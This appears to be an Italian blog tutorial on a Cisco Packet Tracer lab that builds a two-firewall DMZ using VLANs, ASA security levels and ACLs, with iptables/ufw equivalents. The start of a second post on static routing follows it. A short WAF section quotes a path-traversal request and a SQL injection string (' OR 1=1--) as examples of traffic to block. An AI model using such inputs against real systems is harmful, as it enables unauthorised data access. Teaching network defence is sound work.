MAC e VLAN - e' tra porta fisica e VLAN. Il MAC serve allo switch per sapere dove inoltrare il frame all'interno della stessa VLAN, non per decidere a quale VLAN appartiene.\nTest VLAN: dimostrare l'isolamento # Per dimostrare che la VLAN isola davvero ho aggiunto un PC intruso allo SW-EXT su una porta non configurata (Fa0/3). Questa porta rimane sulla VLAN 1 di default - non l'ho assegnata alla VLAN 10.\nIl PC intruso ha un IP nella stessa subnet di Kali:\nPC intruso: 10.0.0.100/24 gw: 10.0.0.2 Kali: 10.0.0.1/24 gw: 10.0.0.2 Stessa subnet, stesso gateway, stesso switch fisico. In una rete senza VLAN si vedrebbero.\nPing dal PC intruso verso Kali: request time out.\nPerche' non passa:\nPC intruso (Fa0/3, VLAN 1) | | frame ARP: \u0026#34;chi ha 10.0.0.1?\u0026#34; v SW-EXT | | guarda la porta di ingresso: Fa0/3 = VLAN 1 | guarda le porte di destinazione: Fa0/1 = VLAN 10, Fa0/2 = VLAN 10 | VLAN 1 != VLAN 10 --\u0026gt; DROP v [frame eliminato, non inoltrato] Kali (Fa0/1, VLAN 10) non riceve niente. PC intruso non riceve risposta ARP. Ping: request time out. Lo switch non guarda l'IP di destinazione. Non guarda il MAC. Guarda da quale porta arriva il frame e su quale VLAN e' quella porta. Se la VLAN di ingresso e la VLAN di destinazione non coincidono, il frame non esiste.\nNota importante: in Simulation mode di Packet Tracer bisogna attivare il filtro ARP altrimenti il pacchetto non e' visibile nell'animazione - ARP e' il primo passo del ping (il PC cerca il MAC di Kali prima di mandare ICMP).\nSW-LAN - VLAN 30 # # entra in modalita\u0026#39; privilegiata enable # entra in modalita\u0026#39; configurazione globale conf t # seleziona la porta Fa0/1 - quella collegata a FW2 inside (Gig1/2) # FW2 e\u0026#39; il guardiano della LAN: tutto il traffico verso Giulia/MySQL # passa fisicamente da questa porta interface FastEthernet0/1 # imposta la porta in modalita\u0026#39; access: un solo dispositivo collegato, # un solo VLAN, nessun tag 802.1Q nel frame. FW2 non sa di essere in VLAN 30 switchport mode access # assegna questa porta alla VLAN 30. # la VLAN 30 non esisteva ancora: lo switch la crea automaticamente # (\u0026#34;Access VLAN does not exist. Creating vlan 30\u0026#34; e\u0026#39; normale) switchport access vlan 30 exit # seleziona la porta Fa0/2 - quella collegata a Giulia/MySQL interface FastEthernet0/2 switchport mode access # stessa VLAN 30: FW2 inside e Giulia/MySQL devono vedersi a livello 2. # senza questo, il ping di Giulia verso FW2 fallisce gia\u0026#39; allo switch - # il frame non viene inoltrato perche\u0026#39; le porte sono su VLAN diverse switchport access vlan 30 exit # esci da config per usare show (show non funziona in modalita\u0026#39; config) exit # verifica: mostra tutte le VLAN attive e le porte assegnate show vlan brief Output:\nVLAN 30 VLAN0030 active Fa0/1, Fa0/2 FW2 inside e Giulia/MySQL nella stessa VLAN 30. La LAN e' isolata - nessun dispositivo di altre zone puo' raggiungerla a livello 2.\nSW-DMZ - VLAN 20 # Stessa logica di SW-EXT, zona diversa. Nella DMZ ci sono tre dispositivi collegati allo switch: FW1 (Gig1/2 dmz), Sofia/nginx e FW2 (Gig1/1 dmz). Tutti e tre devono essere nella stessa VLAN 20 per parlarsi a livello 2 - il firewall FW1 e FW2 devono raggiungere Sofia/nginx attraverso lo switch DMZ.\n# entra in modalita\u0026#39; privilegiata enable # entra in modalita\u0026#39; configurazione globale conf t # seleziona la porta Fa0/1 - quella collegata a FW1 (Gig1/2, interfaccia dmz) interface FastEthernet0/1 # access port: questa porta appartiene a una sola VLAN. # FW1 non sa di essere in VLAN 20 - e\u0026#39; lo switch che lo gestisce switchport mode access # assegna alla VLAN 20. # come prima, se la VLAN 20 non esiste lo switch la crea automaticamente switchport access vlan 20 exit # seleziona la porta Fa0/2 - quella collegata a Sofia/nginx interface FastEthernet0/2 switchport mode access # stessa VLAN 20: FW1, Sofia/nginx e FW2 devono vedersi a livello 2 # per poter instradare il traffico attraverso la DMZ switchport access vlan 20 exit # seleziona la porta Fa0/3 - quella collegata a FW2 (Gig1/1, interfaccia dmz) interface FastEthernet0/3 switchport mode access # FW2 e\u0026#39; nella stessa DMZ di FW1 e Sofia/nginx - stessa VLAN 20. # quando Sofia/nginx manda una richiesta MySQL verso Giulia, il frame # passa prima da SW-DMZ e arriva a FW2, che poi decide se lasciarlo passare switchport access vlan 20 exit # esci da config per usare show exit # verifica: mostra VLAN attive e le porte assegnate show vlan brief Output atteso:\nVLAN Name Status Ports 20 VLAN0020 active Fa0/1, Fa0/2, Fa0/3 Tre porte, una sola VLAN. FW1, Sofia/nginx e FW2 condividono il broadcast domain della DMZ - si vedono a livello 2, ma il firewall controlla cosa possono dirsi a livello 3 e superiori.\nSecurity-level: chi puo' parlare con chi # Ogni dispositivo eredita il security-level dell'interfaccia del firewall da cui e' raggiungibile:\nKali → entra/esce da FW1 outside → sec:0 Sofia/nginx → entra/esce da FW1 dmz → sec:50 Giulia/MySQL → entra/esce da FW2 inside → sec:100 La regola e' una sola: il numero sale = bloccato. Il numero scende = passa.\nPing Direzione Risultato Perche' Kali → Sofia/nginx 0 → 50 BLOCCATO sale di livello Sofia/nginx → Kali 50 → 0 PASSA scende di livello Sofia/nginx → Giulia/MySQL 50 → 100 BLOCCATO sale di livello Giulia/MySQL → Sofia/nginx 100 → 50 PASSA scende di livello Nessuna regola scritta. L'ASA blocca e permette in automatico solo guardando da quale interfaccia entra il pacchetto e da quale dovrebbe uscire.\nIl modello reale e' questo: il database puo' rispondere a Sofia, ma Sofia non puo' aprire una connessione spontanea verso Giulia/MySQL senza un permesso esplicito. Un dispositivo non fidato non entra mai in una zona piu' fidata per sua iniziativa.\nPer aprire traffico che sale di livello serve una ACL esplicita - lo faremo quando configureremo HTTP verso Sofia e MySQL da Sofia verso Giulia.\nPing matrix - chi raggiunge chi e perche' # Prima di aprire qualsiasi ACL, mappo il comportamento di default della rete. Ogni ping racconta qualcosa di diverso: la VLAN, il firewall, il security-level, il routing.\nTest 1 - Kali → FW1 outside # Mittente PC-Kali 10.0.0.1 Destinazione FW1 outside 10.0.0.2 Risultato FUNZIONA # da PC-Kali: Desktop → Command Prompt ping 10.0.0.2 Nessun firewall da attraversare. Kali e FW1 outside sono sulla stessa subnet 10.0.0.0/30 e sulla stessa VLAN 10. Il frame non esce mai dallo switch SW-EXT. E' il test piu' basico - se fallisce c'e' un errore nella configurazione IP o VLAN.\nTest 2 - Kali → Sofia/nginx # Mittente PC-Kali 10.0.0.1 (sec:0) Destinazione Sofia/nginx 10.10.10.2 (sec:50) Risultato FALLISCE (prima dell'ACL) → FUNZIONA (dopo ACL su FW1) # da PC-Kali ping 10.10.10.2 Il pacchetto arriva a FW1 sull'interfaccia outside (sec:0). La destinazione e' raggiungibile tramite l'interfaccia dmz (sec:50). ASA confronta:\ningresso sec:0 → uscita sec:50 0 \u0026lt; 50 → sale di livello → DROP Questo e' il comportamento di default, senza ACL. Dopo aver configurato OUTSIDE_IN con il permit ICMP e TCP 80/443, il ping funziona. L'ACL sovrascrive il blocco del security-level per il traffico specifico che abbiamo autorizzato.\nTest 3 - Kali → Giulia/MySQL # Mittente PC-Kali 10.0.0.1 (sec:0) Destinazione Giulia/MySQL 10.30.30.2 (sec:100) Risultato FALLISCE # da PC-Kali ping 10.30.30.2 Il pacchetto non arriva nemmeno a FW2. Viene bloccato gia' da FW1: outside (sec:0) non puo' entrare nella dmz (sec:50). FW2 non vede niente.\nDue firewall da attraversare, bloccato al primo.\nTest 4 - Sofia/nginx → FW1 dmz # Mittente Sofia/nginx 10.10.10.2 Destinazione FW1 dmz 10.10.10.1 Risultato FUNZIONA # da Sofia/nginx: Desktop → Command Prompt ping 10.10.10.1 Stessa subnet 10.10.10.0/29, stessa VLAN 20, stesso switch SW-DMZ. Il frame non esce mai dallo switch. Non attraversa nessun firewall.\nTest 5 - Sofia/nginx → FW2 dmz # Mittente Sofia/nginx 10.10.10.2 Destinazione FW2 dmz 10.10.10.3 Risultato FUNZIONA # da Sofia/nginx ping 10.10.10.3 Stessa subnet, stessa VLAN 20, stesso switch SW-DMZ. FW1, Sofia/nginx e FW2 sono tutti e tre nella stessa zona DMZ a livello 2.\nTest 6 - Sofia/nginx → Kali # Mittente Sofia/nginx 10.10.10.2 (sec:50) Destinazione PC-Kali 10.0.0.1 (sec:0) Risultato FUNZIONA # da Sofia/nginx ping 10.0.0.1 Direzione inversa del test 2. Il pacchetto entra in FW1 dalla dmz (sec:50) e deve uscire dalla outside (sec:0):\ningresso sec:50 → uscita sec:0 50 \u0026gt; 0 → scende di livello → PASSA Sofia/nginx puo' rispondere a Kali. La risposta torna, l'iniziativa da Kali no.\nTest 7 - Sofia/nginx → Giulia/MySQL # Mittente Sofia/nginx 10.10.10.2 (sec:50) Destinazione Giulia/MySQL 10.30.30.2 (sec:100) Risultato FALLISCE # da Sofia/nginx ping 10.30.30.2 Il pacchetto arriva a FW2 sull'interfaccia dmz (sec:50). La destinazione e' raggiungibile tramite inside (sec:100):\ningresso sec:50 → uscita sec:100 50 \u0026lt; 100 → sale di livello → DROP Questo e' il muro piu' importante della topologia. Anche se Sofia/nginx venisse compromessa, non potrebbe aprire connessioni verso Giulia/MySQL. Il danno rimane nella DMZ.\nTest 8 - Giulia/MySQL → FW2 inside # Mittente Giulia/MySQL 10.30.30.2 Destinazione FW2 inside 10.30.30.1 Risultato FUNZIONA (dopo VLAN 30 su SW-LAN) # da Giulia/MySQL: Desktop → Command Prompt ping 10.30.30.1 Stessa subnet 10.30.30.0/30, nessun firewall da attraversare. Prima di configurare VLAN 30 su SW-LAN il ping falliva: le porte erano sulla VLAN 1 di default e il frame veniva droppato a L2. Dopo la configurazione di SW-LAN funziona.\nTest 9 - Giulia/MySQL → Sofia/nginx # Mittente Giulia/MySQL 10.30.30.2 (sec:100) Destinazione Sofia/nginx 10.10.10.2 (sec:50) Risultato FUNZIONA # da Giulia/MySQL ping 10.10.10.2 ingresso sec:100 → uscita sec:50 100 \u0026gt; 50 → scende di livello → PASSA Il database puo' iniziare connessioni verso la DMZ. Non e' il comportamento reale che vogliamo - ma e' quello di default dell'ASA. Le ACL che configureremo dopo limiteranno questo a solo MySQL sulla porta 3306.\nACL - aprire solo quello che serve # Fino a qui la rete e' configurata ma inutile per il suo scopo reale: Kali non puo' raggiungere Sofia/nginx, Sofia/nginx non puo' raggiungere Giulia/MySQL. I firewall bloccano tutto il traffico che sale di security-level.\nE' corretto. E' esattamente quello che volevamo. Ma ora dobbiamo aprire solo quello che serve - niente di piu'.\nCosa sono le ACL # Una ACL (Access Control List) e' una lista di regole che dice al firewall: \u0026quot;questo traffico specifico puo' passare, anche se normalmente lo bloccheresti\u0026quot;.\nSenza ACL il firewall usa solo il security-level: alto verso basso passa, basso verso alto no. Le ACL aggiungono precisione chirurgica: non \u0026quot;apri tutta la DMZ a Kali\u0026quot;, ma \u0026quot;apri solo la porta 80 e 443 di Sofia/nginx a chiunque venga da outside\u0026quot;.\nLa logica e' sempre la stessa: nega tutto per default, poi apri solo quello che sai essere necessario. E' il principio del minimo privilegio applicato al traffico di rete.\nPerche' sono indispensabili # Senza ACL la rete ha due stati possibili:\ntraffico bloccato - sicuro ma inutile. Sofia/nginx non e' raggiungibile da nessuno. traffico aperto - accessibile ma senza controllo. Kali potrebbe fare qualsiasi cosa su qualsiasi porta. Le ACL sono il punto di mezzo: il traffico che serve passa, tutto il resto no. E' la differenza tra un cancello chiuso a chiave e un cancello aperto - le ACL sono la serratura che lascia passare solo chi ha la chiave giusta.\nL'obiettivo # Vogliamo replicare esattamente il modello di corsobitcoin.com:\nBrowser studente (Kali) | | HTTP porta 80 / HTTPS porta 443 \u0026lt;- aperto da ACL su FW1 v Sofia/nginx (DMZ) | | MySQL porta 3306 \u0026lt;- aperto da ACL su FW2 v Giulia/MySQL (LAN) Due ACL, due firewall, due porte specifiche. Tutto il resto rimane bloccato:\nKali non puo' fare SSH a Sofia/nginx (porta 22 non aperta) Kali non puo' raggiungere Giulia/MySQL in nessun modo (bloccato gia' a FW1) Sofia/nginx non puo' aprire connessioni arbitrarie verso Giulia/MySQL (solo 3306) Giulia/MySQL non puo' iniziare connessioni verso la DMZ (lo aggiungeremo nell'ACL di FW2) ACL su FW1 - HTTP e HTTPS verso Sofia/nginx # Se stessi facendo questo lab su Linux invece di Packet Tracer, a questo punto avresti:\nnamespace separati per ogni zona (outside, dmz, lan) iptables con policy DROP di default al posto del security-level ASA nginx installato nel namespace DMZ - solo nginx, ancora nessun MySQL le regole iptables equivalenti alle ACL che stiamo per scrivere: # Linux equivalente di \u0026#34;apri HTTP verso Sofia/nginx\u0026#34; # iptables: iptables -A FORWARD -i eth-outside -o eth-dmz -p tcp --dport 80 -j ACCEPT iptables -A FORWARD -i eth-outside -o eth-dmz -p tcp --dport 443 -j ACCEPT # ufw: ufw route allow proto tcp from any to 10.10.10.2 port 80 ufw route allow proto tcp from any to 10.10.10.2 port 443 # ASA fa la stessa cosa con: access-list OUTSIDE_IN permit tcp any host 10.10.10.2 eq 80 access-list OUTSIDE_IN permit tcp any host 10.10.10.2 eq 443 La differenza: su Linux le regole vivono sul server stesso - se nginx viene compromessa, l'attaccante ha accesso a iptables. Su ASA le regole stanno su hardware separato che l'attaccante non controlla.\n# entra in modalita\u0026#39; configurazione globale # iptables/ufw: non serve un \u0026#34;conf t\u0026#34;, le regole si scrivono direttamente da shell conf t # permette TCP da qualsiasi sorgente verso Sofia/nginx (10.10.10.2) sulla porta 80 (HTTP). # \u0026#34;any\u0026#34; = qualsiasi IP sorgente. \u0026#34;host\u0026#34; = un singolo IP specifico. # iptables: iptables -A FORWARD -i eth-outside -o eth-dmz -p tcp -d 10.10.10.2 --dport 80 -j ACCEPT # ufw: ufw route allow proto tcp from any to 10.10.10.2 port 80 access-list OUTSIDE_IN permit tcp any host 10.10.10.2 eq 80 # permette TCP verso la porta 443 (HTTPS). # stessa logica della riga sopra ma per il traffico cifrato. # iptables: iptables -A FORWARD -i eth-outside -o eth-dmz -p tcp -d 10.10.10.2 --dport 443 -j ACCEPT # ufw: ufw route allow proto tcp from any to 10.10.10.2 port 443 access-list OUTSIDE_IN permit tcp any host 10.10.10.2 eq 443 # permette ICMP (ping) verso Sofia/nginx - utile per testare la connettivita\u0026#39;. # in produzione questa riga si rimuove: non vuoi che chiunque da internet possa pingare il tuo server. # iptables: iptables -A FORWARD -i eth-outside -o eth-dmz -p icmp -d 10.10.10.2 -j ACCEPT # ufw: ufw route allow proto icmp from any to 10.10.10.2 access-list OUTSIDE_IN permit icmp any host 10.10.10.2 # applica la lista OUTSIDE_IN all\u0026#39;interfaccia \u0026#34;outside\u0026#34; in direzione inbound. # \u0026#34;in\u0026#34; significa: controlla il traffico che ENTRA da outside verso il firewall. # senza questo comando la lista esiste ma non viene usata. # iptables: le regole FORWARD si applicano automaticamente alla chain, non serve un attach separato # ufw: stesso - ufw route apply le regole subito, non serve un comando di attach access-group OUTSIDE_IN in interface outside exit Risultato: da PC-Kali ping 10.10.10.2 funziona. Il pacchetto attraversa FW1 perche' l'ACL OUTSIDE_IN lo permette esplicitamente. Prima dell'ACL veniva droppato dal security-level (sec:0 → sec:50). Ora la regola sovrascrive il comportamento di default.\nPer verificare le ACL configurate e quante volte hanno fatto match:\nshow access-list access-list OUTSIDE_IN; 3 elements; name hash: 0xe9c9a254 access-list OUTSIDE_IN line 1 extended permit tcp any host 10.10.10.2 eq www (hitcnt=0) access-list OUTSIDE_IN line 2 extended permit tcp any host 10.10.10.2 eq 443 (hitcnt=0) access-list OUTSIDE_IN line 3 extended permit icmp any host 10.10.10.2 (hitcnt=3) Il campo hitcnt e' la prova che le regole funzionano: 3 pacchetti ICMP (i ping di test) hanno fatto match con la regola. HTTP e HTTPS sono a 0 perche' non c'e' ancora un vero web server su Sofia/nginx. Nota che Packet Tracer traduce porta 80 in www - e' la stessa cosa.\nACL su FW2 - MySQL verso Giulia/MySQL # FW2 protegge Giulia/MySQL dalla DMZ. Senza ACL, Sofia/nginx non puo' aprire connessioni verso Giulia/MySQL - FW2 blocca tutto il traffico che sale da sec:50 a sec:100.\nVogliamo aprire solo MySQL (porta 3306) e solo da Sofia/nginx. Non da qualsiasi IP della DMZ - solo dall'IP specifico del web server.\n# entra in modalita\u0026#39; privilegiata # iptables/ufw: non serve, si scrive direttamente da shell con sudo enable # entra in modalita\u0026#39; configurazione globale conf t # permette TCP da Sofia/nginx (10.10.10.2) verso Giulia/MySQL (10.30.30.2) sulla porta 3306 (MySQL). # a differenza di OUTSIDE_IN dove la sorgente era \u0026#34;any\u0026#34; (chiunque da internet), # qui la sorgente e\u0026#39; un singolo IP specifico: solo Sofia/nginx puo\u0026#39; parlare con il database. # un attaccante che compromette un altro dispositivo in DMZ non puo\u0026#39; raggiungere Giulia. # iptables: iptables -A FORWARD -i eth-dmz -o eth-lan -p tcp -s 10.10.10.2 -d 10.30.30.2 --dport 3306 -j ACCEPT # ufw: ufw route allow proto tcp from 10.10.10.2 to 10.30.30.2 port 3306 access-list DMZ_IN permit tcp host 10.10.10.2 host 10.30.30.2 eq 3306 # permette ICMP da Sofia/nginx verso Giulia/MySQL - per testare la connettivita\u0026#39;. # come su FW1, in produzione questa riga si rimuove. # iptables: iptables -A FORWARD -i eth-dmz -o eth-lan -p icmp -s 10.10.10.2 -d 10.30.30.2 -j ACCEPT # ufw: ufw route allow proto icmp from 10.10.10.2 to 10.30.30.2 access-list DMZ_IN permit icmp host 10.10.10.2 host 10.30.30.2 # applica la lista DMZ_IN all\u0026#39;interfaccia \u0026#34;dmz\u0026#34; in direzione inbound. # controlla il traffico che entra da Sofia/nginx verso FW2. # iptables: le regole FORWARD si applicano automaticamente alla chain # ufw: stesso - ufw route applica le regole subito access-group DMZ_IN in interface dmz exit Test: da Sofia/nginx ping 10.30.30.2 - funziona. Prima dell'ACL FW2 bloccava tutto (sec:50 → sec:100). Ora Sofia/nginx puo' raggiungere Giulia/MySQL solo su MySQL 3306 e ICMP.\nIl percorso completo ora funziona:\nKali → FW1 (ACL OUTSIDE_IN: 80/443/icmp) → Sofia/nginx Sofia/nginx → FW2 (ACL DMZ_IN: 3306/icmp) → Giulia/MySQL Kali non raggiunge mai Giulia/MySQL direttamente. Passa obbligatoriamente da Sofia/nginx, che passa obbligatoriamente da FW2. Due checkpoint, due ACL, due porte specifiche.\nPer verificare le ACL su FW2:\nshow access-list access-list DMZ_IN; 2 elements access-list DMZ_IN line 1 extended permit tcp host 10.10.10.2 host 10.30.30.2 eq 3306 (hitcnt=0) access-list DMZ_IN line 2 extended permit icmp host 10.10.10.2 host 10.30.30.2 (hitcnt=6) hitcnt=6 sulla riga ICMP - i ping di test da Sofia verso Giulia. hitcnt=0 su MySQL perche' non c'e' ancora un vero database in ascolto sulla 3306.\nNota: se compare una line 1 senza porta (permit tcp senza eq 3306) e' una riga troppo permissiva entrata per errore. Si rimuove con:\nconf t no access-list DMZ_IN extended permit tcp host 10.10.10.2 host 10.30.30.2 exit Test end-to-end # Il percorso completo della rete. Ogni ping dimostra che un pezzo della catena funziona.\n# Step 1 - da PC-Kali: raggiunge FW1 (stessa VLAN, no firewall) ping 10.0.0.2 # Step 2 - da PC-Kali: raggiunge Sofia/nginx (attraversa FW1, ACL OUTSIDE_IN apre ICMP) ping 10.10.10.2 # Step 3 - da Sofia/nginx: raggiunge Giulia/MySQL (attraversa FW2, ACL DMZ_IN apre ICMP) ping 10.30.30.2 Kali (10.0.0.1) │ │ ping 10.0.0.2 ✓ (stessa VLAN 10, no firewall) ▼ FW1 outside (10.0.0.2) │ │ ping 10.10.10.2 ✓ (ACL OUTSIDE_IN: permit icmp any host 10.10.10.2) ▼ Sofia/nginx (10.10.10.2) │ │ ping 10.30.30.2 ✓ (ACL DMZ_IN: permit icmp host 10.10.10.2 host 10.30.30.2) ▼ Giulia/MySQL (10.30.30.2) Kali non raggiunge mai Giulia/MySQL direttamente. Ogni salto e' controllato da un firewall con una ACL specifica.\nNota: il ping da Kali verso Sofia/nginx potrebbe fallire al primo tentativo. E' normale - e' ARP che risolve il MAC address. Il secondo ping funziona sempre. In Packet Tracer questo comportamento e' piu' evidente che su hardware reale.\nCosa ho imparato # Il security-level e' una politica, non un permesso. Dire security-level 0 non significa \u0026quot;blocca tutto\u0026quot; - significa \u0026quot;non mi fido di nessuno che viene da qui\u0026quot;. Il blocco e' la conseguenza automatica quando il traffico tenta di salire di livello. Le ACL sono l'eccezione esplicita a quella politica.\nOgni dispositivo eredita il security-level del firewall da cui e' raggiungibile. Kali non e' a sec:0 perche' e' pericolosa - e' a sec:0 perche' si affaccia sull'interfaccia outside di FW1. Sofia/nginx e' a sec:50 perche' sta dietro l'interfaccia dmz. Giulia/MySQL e' a sec:100 perche' e' dietro inside di FW2. Il security-level e' geografico, non personale.\nLa VLAN isola a livello 2, il firewall a livello 3. Le VLAN impediscono che i frame si mescolino sullo stesso switch. Il firewall decide quali pacchetti possono attraversare zone diverse. Sono due meccanismi complementari: senza VLAN un dispositivo potrebbe bypassare il firewall a livello 2; senza firewall le VLAN non controllano il routing tra zone.\nLe ACL si scrivono per differenza. Il default e' blocca tutto. Si aggiunge solo quello che serve: HTTP, HTTPS e ICMP su FW1 verso Sofia; MySQL e ICMP su FW2 verso Giulia. Ogni porta aperta e' una decisione consapevole, non un'eccezione dimenticata.\nDue firewall significano due perimetri indipendenti. Se Sofia/nginx viene compromessa, FW2 blocca comunque tutto tranne MySQL 3306. Il danno rimane nella DMZ. Questo e' il motivo per cui esistono le screened subnet: non impedire l'attacco, ma limitare il blast radius quando l'attacco riesce.\nRicapitolando - quello che ho capito # FW1 e FW2 insieme creano la DMZ. Non basta un firewall solo - con uno solo hai dentro e fuori. Con due hai dentro, mezzo e fuori. Il mezzo e' la DMZ: Sofia/nginx vive li, esposta a internet ma separata dal database.\nLe VLAN separano il traffico a livello 2. Di default tutto e' sulla VLAN 1 - Kali, Sofia, Giulia si vedrebbero tutte sullo stesso switch come se fossero nella stessa stanza. Le VLAN mettono muri fisici: VLAN 10 per la zona esterna, VLAN 20 per la DMZ, VLAN 30 per la LAN. Un frame che entra su una porta VLAN 10 non esce mai su una porta VLAN 20. Lo switch lo droppa prima ancora che il firewall lo veda.\nIl security-level non e' un permesso, e' una geografia. Kali e' a 0 perche' sta fuori. Sofia e' a 50 perche' sta nel mezzo. Giulia e' a 100 perche' sta dentro. Un numero basso non puo' mai raggiungere un numero alto da solo - deve salire, e salire e' bloccato per default. Giulia invece puo' raggiungere tutti perche' scende sempre.\nSenza ACL il firewall e' tirato su ma inutile: Sofia non e' raggiungibile da nessuno. Le ACL aprono esattamente quello che serve e niente di piu'. HTTP e HTTPS su FW1 verso Sofia. MySQL su FW2 solo da Sofia verso Giulia - non da qualsiasi IP della DMZ, solo da quell'IP specifico.\nIl risultato: Kali puo' parlare con Sofia sulla 80 e 443. Sofia puo' parlare con Giulia sulla 3306. Kali non raggiungera' mai Giulia direttamente - e' fisicamente impossibile senza passare da Sofia, e Sofia non ha il permesso di fare da tramite su nessun'altra porta.\nIl prossimo lab: Linux namespaces # La stessa identica topologia, senza hardware Cisco. In Linux ogni zona diventa un namespace - un processo isolato con le sue interfacce, le sue rotte, il suo stack di rete.\nPacket Tracer Linux namespace PC-Kali Kali VM reale (192.168.64.200) SW-EXT veth pair (cavo virtuale, no namespace) FW1 ASA ns-fw1 con iptables al posto del security-level SW-DMZ veth pair Sofia/nginx ns-sofia con nginx installato FW2 ASA ns-fw2 con iptables SW-LAN veth pair Giulia/MySQL ns-giulia con netcat sulla 3306 Gli switch non diventano namespace - sono solo cavi virtuali (veth pair) che collegano i namespace. Le VLAN non si configurano esplicitamente: la separazione e' gia' nella struttura dei namespace, ogni veth pair e' gia' un segmento isolato.\nLe ACL diventano regole iptables -A FORWARD. Il security-level diventa iptables -P FORWARD DROP. Stessa logica, sintassi diversa, nessun hardware dedicato.\nIl WAF - quello che manca in questo lab # In questo lab Packet Tracer Sofia/nginx e' solo un PC simulato. Il WAF (ModSecurity sopra nginx) non si puo' implementare qui - e' software reale che ispeziona il traffico HTTP a livello 7.\nFW1 fa filtraggio di rete (L3/L4): vede TCP porta 80, non sa cosa c'e' dentro. Il WAF fa filtraggio applicativo (L7): legge la request HTTP e blocca GET /etc/passwd o ' OR 1=1--.\nSono due difese complementari - una non sostituisce l'altra.\nFW1 vede: TCP 10.0.0.1:54321 → 10.10.10.2:80 [PERMIT] WAF vede: GET /login?id=\u0026#39; OR 1=1-- HTTP/1.1 [BLOCK - SQL injection] Nel lab Linux installeremo nginx + ModSecurity su ns-dmz e vedremo il WAF in azione con request reali.\nScarica il Laboratorio # Vuoi smontare e rimontare questa rete con le tue mani? Ecco il file Packet Tracer bello e pronto:\n⬇ Scarica il lab Packet Tracer (.pkt) ","date":"8 giugno 2026","externalUrl":null,"permalink":"/blog/cisco-packet-tracer-la-rete-che-protegge-se-stessa/","section":"Blog","summary":" TL;DR Una DMZ e' una zona di mezzo: esposta verso internet, isolata dalla LAN Due firewall significa che anche se Sofia/nginx viene compromessa, Giulia/MySQL e' ancora protetta da FW2 Su ASA il traffico da security-level basso verso alto e' bloccato per default - non serve scrivere nessuna regola di blocco ▶ $ history nameif - assegna nome logico all'interfaccia ASA (outside, dmz, inside) security-level - livello di fiducia: 0=esterno, 50=DMZ, 100=LAN route outside 0.0.0.0 0.0.0.0 x.x.x.x - default route su ASA show nameif - interfacce ASA con security level Perche' questo lab # corsobitcoin.com e' una piattaforma di corsi online. Ha iscritti, sessioni, video, dati di pagamento.\n","title":"Cisco Packet Tracer: La Rete che Protegge Se Stessa","type":"blog"},{"content":"","date":"8 giugno 2026","externalUrl":null,"permalink":"/tags/esperto/","section":"Tags","summary":"","title":"Esperto","type":"tags"},{"content":"","date":"8 giugno 2026","externalUrl":null,"permalink":"/series/lab-cisco-packet-tracer/","section":"Series","summary":"","title":"Lab Cisco Packet Tracer","type":"series"},{"content":"","date":"8 giugno 2026","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"},{"content":"","date":"8 giugno 2026","externalUrl":null,"permalink":"/tags/tutorial/","section":"Tags","summary":"","title":"Tutorial","type":"tags"},{"content":" TL;DR Un router conosce solo le reti a cui e' direttamente collegato. Tutto il resto va detto esplicitamente con rotte statiche Ogni router ha piu' IP - uno per ogni interfaccia. \u0026quot;Marco e' 10.0.0.2\u0026quot; e' incompleto: Marco e' anche 10.10.10.1 Le rotte statiche funzionano come indicazioni stradali: \u0026quot;se vuoi andare la', chiedi a lui\u0026quot; Se manca una rotta il pacchetto si ferma - il TTL serve esattamente per questo ▶ $ history ip route [rete] [maschera] [next-hop] - aggiunta rotta statica show ip route - tabella di routing corrente ping [ip] - test connettivita' end-to-end Prima di toccare Linux voglio vedere il routing con gli occhi. In Linux i namespace sono invisibili - sono processi, non oggetti fisici. In Cisco Packet Tracer posso vedere i router come scatole, i cavi come linee, e guardare i pacchetti muoversi.\nHo deciso di costruire qui la stessa topologia del lab Linux. Cinque router in fila, Kali fuori, un ping come obiettivo finale.\nLa topologia # Cinque router, una catena lineare. Non un ring, non una stella - una catena. Ogni router parla solo con i due vicini.\nKali --- Aldo --- Marco --- Sofia --- Luca --- Giulia I nomi li ho scelti io durante il lab Linux - piu' facile ricordare \u0026quot;vai da Sofia\u0026quot; che \u0026quot;vai in ns-dmz\u0026quot;. In Packet Tracer li chiamo Router0, Router1... ma nella mia testa rimangono Aldo, Marco, Sofia, Luca, Giulia.\nOgni link tra due router e' una subnet /30. Quattro indirizzi, due host, zero sprechi.\nAppena posizionati i router e tracciati i cavi, tutte le interfacce sono rosse. Spente. Un router in Packet Tracer nasce con le interfacce amministrativamente chiuse - bisogna attivarle a mano.\nSchema IP # Prima di configurare qualsiasi cosa, mi sono scritto la tabella degli IP. Senza questa sotto mano mi perdo.\nRouter Interfaccia IP Verso Aldo g0/0 192.168.64.x Kali Aldo g0/1 10.0.0.1 Marco Marco g0/0 10.0.0.2 Aldo Marco g0/1 10.10.10.1 Sofia Sofia g0/0 10.10.10.2 Marco Sofia g0/1 10.20.20.1 Luca Luca g0/0 10.20.20.2 Sofia Luca g0/1 10.30.30.1 Giulia Giulia g0/0 10.30.30.2 Luca Ogni router ha due IP perche' ha due interfacce. Chiedere \u0026quot;qual e' l'IP di Marco?\u0026quot; e' come chiedere \u0026quot;qual e' il tuo numero di telefono?\u0026quot; a qualcuno che ne ha due - uno di casa e uno del lavoro. Dipende da chi lo chiama.\nAccendere le interfacce # Con la GUI di Packet Tracer si fa cosi': click sul router, tab Config, seleziono l'interfaccia, spunto \u0026quot;On\u0026quot;. Le linee passano da rosse a verdi.\nDa CLI sarebbe:\ninterface GigabitEthernet0/1 ip address 10.0.0.1 255.255.255.252 no shutdown Il no shutdown e' l'equivalente di accendere il walkie-talkie. Finche' non lo fai, il router ha l'interfaccia ma non la usa.\nIl problema del routing # Interfacce accese, IP assegnati. Provo a pingare da Kali verso Aldo.\nFunziona. Aldo risponde.\nProvo a pingare 10.0.0.2 (Marco). Non risponde.\nQui ho capito la prima cosa importante: Aldo non sa dove si trova Marco. Aldo conosce solo la sua rete verso Kali (192.168.64.0/24). Non sa che esiste 10.0.0.0/30 - anche se ci ha un'interfaccia.\nAspetta. Ha un'interfaccia su 10.0.0.0/30, quindi la conosce direttamente. Il problema e' che il pacchetto di ritorno da Marco non sa come tornare da Kali. Marco non ha una rotta verso 192.168.64.0/24.\nQuesto e' il routing: non basta che il pacchetto arrivi - deve anche tornare.\nLe rotte statiche # Una rotta statica dice a un router: \u0026quot;se vuoi raggiungere questa rete, chiedi a questo vicino\u0026quot;.\nCome chiedere indicazioni stradali: \u0026quot;per andare a Milano, vai sull'autostrada A1 e chiedi a Modena\u0026quot;.\nLa sintassi in Cisco:\nip 